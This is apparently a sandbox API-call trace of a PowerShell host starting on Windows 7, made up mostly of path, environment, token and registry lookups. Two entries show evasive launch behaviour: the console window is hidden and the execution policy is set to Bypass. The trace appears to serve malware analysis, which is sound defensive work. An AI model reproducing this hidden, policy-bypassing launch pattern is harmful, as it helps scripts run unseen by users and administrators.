	[0063.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.321] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.449] CreateActCtxW (pActCtx=0x14a3d0) 
	[0063.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.494] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.494] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.494] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.497] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.497] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.498] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.498] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.498] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.498] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.501] CoCreateGuid (in: pguid=0x14db48 | out: pguid=0x14db48*(Data1=0x3d09de83, Data2=0x995e, Data3=0x40ab, Data4=([0]=0x8f, [1]=0xda, [2]=0xe2, [3]=0x6b, [4]=0xbd, [5]=0x90, [6]=0xaa, [7]=0x55))) returned 0x0
	[0063.505] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.505] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.506] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.508] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.508] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.508] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.510] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.510] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.510] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.515] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3
	[0063.516] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3, lpConsoleScreenBufferInfo=0x14d7f0 | out: lpConsoleScreenBufferInfo=0x14d7f0) returned 1
	[0063.520] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13
	[0063.520] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x14d7f0 | out: lpConsoleScreenBufferInfo=0x14d7f0) returned 1
	[0063.521] GetVersionExW (in: lpVersionInformation=0x14d780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x14d780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0063.523] GetCurrentProcess () returned 0xffffffffffffffff
	[0063.524] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x14d818 | out: TokenHandle=0x14d818*=0x32c) returned 1
	[0063.527] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14d738 | out: TokenInformation=0x0, ReturnLength=0x14d738) returned 0
	[0063.528] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2b7540
	[0063.528] GetTokenInformation (in: TokenHandle=0x32c, TokenInformationClass=0x8, TokenInformation=0x2b7540, TokenInformationLength=0x4, ReturnLength=0x14d738 | out: TokenInformation=0x2b7540, ReturnLength=0x14d738) returned 1
	[0063.530] DuplicateTokenEx (in: hExistingToken=0x32c, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x14d898 | out: phNewToken=0x14d898*=0x328) returned 1
	[0063.531] CheckTokenMembership (in: TokenHandle=0x328, SidToCheck=0x2d07e60*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x14d8a8 | out: IsMember=0x14d8a8) returned 1
	[0063.531] CloseHandle (hObject=0x328) returned 1
	[0063.531] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.532] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.574] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d370, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.579] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.580] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14d310, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c
	[0063.656] SetConsoleCtrlHandler (HandlerRoutine=0x2a2677c, Add=1) returned 1
	[0063.666] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.666] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.666] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.667] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0063.667] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.667] CoTaskMemFree (pv=0x2a7cc0) 
	[0063.937] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0063.937] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.064] GetConsoleWindow () returned 0x302b2
	[0064.064] ShowWindow (hWnd=0x302b2, nCmdShow=0) returned 0
	[0064.066] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.066] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.067] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.078] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1
	[0064.103] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x328
	[0064.104] CoCreateGuid (in: pguid=0x14d990 | out: pguid=0x14d990*(Data1=0x86584b06, Data2=0xd1a8, Data3=0x4707, Data4=([0]=0x81, [1]=0xbd, [2]=0xe2, [3]=0x7b, [4]=0xef, [5]=0xce, [6]=0xf6, [7]=0xb5))) returned 0x0
	[0064.107] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.107] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.108] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.150] WinSqmIsOptedIn () returned 0x0
	[0064.150] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.150] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.156] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.156] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.156] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.156] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.160] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.160] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.162] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.162] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.162] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.177] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.177] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.178] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.178] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.179] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.180] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.180] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.180] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.184] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.184] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.184] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.309] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14cd30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0064.313] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.313] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33
	[0064.313] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.317] CoTaskMemAlloc (cb=0xcc) returned 0x284f3a0
	[0064.317] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x284f3a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0064.317] CoTaskMemFree (pv=0x284f3a0) 
	[0064.317] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d508 | out: phkResult=0x14d508*=0x330) returned 0x0
	[0064.317] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14d48c, lpData=0x0, lpcbData=0x14d488*=0x0 | out: lpType=0x14d48c*=0x2, lpData=0x0, lpcbData=0x14d488*=0x6c) returned 0x0
	[0064.317] CoTaskMemAlloc (cb=0x70) returned 0x284a290
	[0064.317] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14d45c, lpData=0x284a290, lpcbData=0x14d458*=0x6c | out: lpType=0x14d45c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x14d458*=0x6c) returned 0x0
	[0064.317] CoTaskMemFree (pv=0x284a290) 
	[0064.318] CoTaskMemAlloc (cb=0xcc) returned 0x284f3a0
	[0064.318] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x284f3a0, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb
	[0064.318] CoTaskMemFree (pv=0x284f3a0) 
	[0064.318] CoTaskMemAlloc (cb=0xcc) returned 0x284f3a0
	[0064.318] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x284f3a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0064.318] CoTaskMemFree (pv=0x284f3a0) 
	[0064.321] RegCloseKey (hKey=0x330) returned 0x0
	[0064.321] CoTaskMemAlloc (cb=0xcc) returned 0x284f3a0
	[0064.322] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x284f3a0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34
	[0064.322] CoTaskMemFree (pv=0x284f3a0) 
	[0064.322] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x14d508 | out: phkResult=0x14d508*=0x330) returned 0x0
	[0064.322] RegQueryValueExW (in: hKey=0x330, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x14d48c, lpData=0x0, lpcbData=0x14d488*=0x0 | out: lpType=0x14d48c*=0x0, lpData=0x0, lpcbData=0x14d488*=0x0) returned 0x2
	[0064.322] RegCloseKey (hKey=0x330) returned 0x0
	[0064.341] CoTaskMemAlloc (cb=0x20c) returned 0x303f10
	[0064.341] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x303f10 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0
	[0064.345] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.345] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.359] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
	[0064.359] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2a7cc0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0064.359] CoTaskMemFree (pv=0x2a7cc0) 
	[0064.359] CoTaskMemAlloc (cb=0x104) returned 0x2a7cc0
